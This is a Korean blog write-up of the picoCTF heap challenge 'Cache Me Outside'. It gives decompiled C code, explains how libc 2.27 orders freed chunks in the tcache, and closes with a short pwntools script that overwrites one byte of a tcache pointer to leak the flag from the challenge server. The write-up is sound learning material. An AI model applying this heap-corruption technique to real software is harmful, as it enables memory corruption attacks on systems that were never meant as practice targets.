[picoctf] Cache Me Outside

dandb3·2023년 7월 7일
0

writeup

목록 보기
2/3
  • c코드로 변환해 보면 아래와 같다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buf1[0x40];    //0x50
    char buf2[0x20];    //0x70
    char *final_msg;    //0x78
    char *fail_msg;     //0x80
    FILE *flag;         //0x88
    char *success_msg;  //0x90
    char *msg;          //0x98
    int idx;            //0x9c
    int val;            //0xa0
    char eng;           //0xa1
    setbuf(stdout, NULL);
    flag = fopen("flag.txt", "r");
    fgets(buf1, 0x40, flag);
    buf2 = "this is a random string.";
    msg = NULL;
    for (idx = 0; idx <= 6; ++idx) {
        success_msg = malloc(0x80);
        if (msg == NULL)
            msg = success_msg;
        success_msg = "Congrats! Your flag is: ";
        strcat(success_msg, buf1);
    }
    fail_msg = malloc(0x80);
    fail_msg = "Sorry! This won't help you: ";
    strcat(fail_msg, buf2);
    free(success_msg);
    free(fail_msg);
    val = 0;
    eng = '\0';
    puts("You may edit one byte in the program.");
    printf("Address: ");
    scanf("%d", &val);
    printf("Value: ");
    scanf(" %c", &eng);
    msg[val] = eng;
    final_msg = malloc(0x80);
    puts(final_msg + 0x10);
    return 0;
}
  • 코드 설명

    • 할당한 메모리 7개에 flag값을 넣어놓고, 마지막 1개에는 도움이 되지 않는 값을 넣는다.
    • 그 후 마지막 2메모리를 할당 해제한 후, 다시 할당한다.
    • tcache가 존재하고, 이 크기에 해당하는 경우이므로 tcache에는
      fail_msg -> success_msg -> NULL
      의 형태로 존재하게 된다.
    • 그러므로 마지막에 재할당하는 부분은 fail_msg가 된다.
  • exploit

    • 재할당 직전에 바이트값 하나를 바꾸는 부분이 존재한다. 이 부분을 이용해 할당되는 chunk를 바꿀 수 있다.
    • tcache의 next 포인터를 flag값을 담고 있는 chunk를 가리키게 바꾸어 주게 되면 재할당 시에 flag값을 읽어올 수 있다.
    • 재할당 전의 heap 영역을 보면 다음과 같다.
    • 즉, 0x603890 이었던 기존 tcache의 next 값을 0x603800으로 바꾸어 주기만 하면 된다.
  • 주의할 점

    • 참고로 libc버전은 2.27이다.
    • 만약 그 이상의 버전이었다면, tcache의 key값이 설정되고, 재할당 시에 해당메모리 부분이 초기화되는 코드가 들어있기 때문에 이 기법은 먹히지 않는다.
    • tcache에 해당하는 메모리는 heap에 들어있고, 위 그림상에서는 0x602000에 해당한다.
  • 익스 코드는 다음과 같다.

from pwn import *

#r = process("./heapedit")
r = remote("mercury.picoctf.net", 31153)

#pause()
r.sendlineafter(b"Address: ", b"-5144")
r.sendlineafter(b"Value: ", b"\x00")

r.interactive()
profile
공부 내용 저장소

0개의 댓글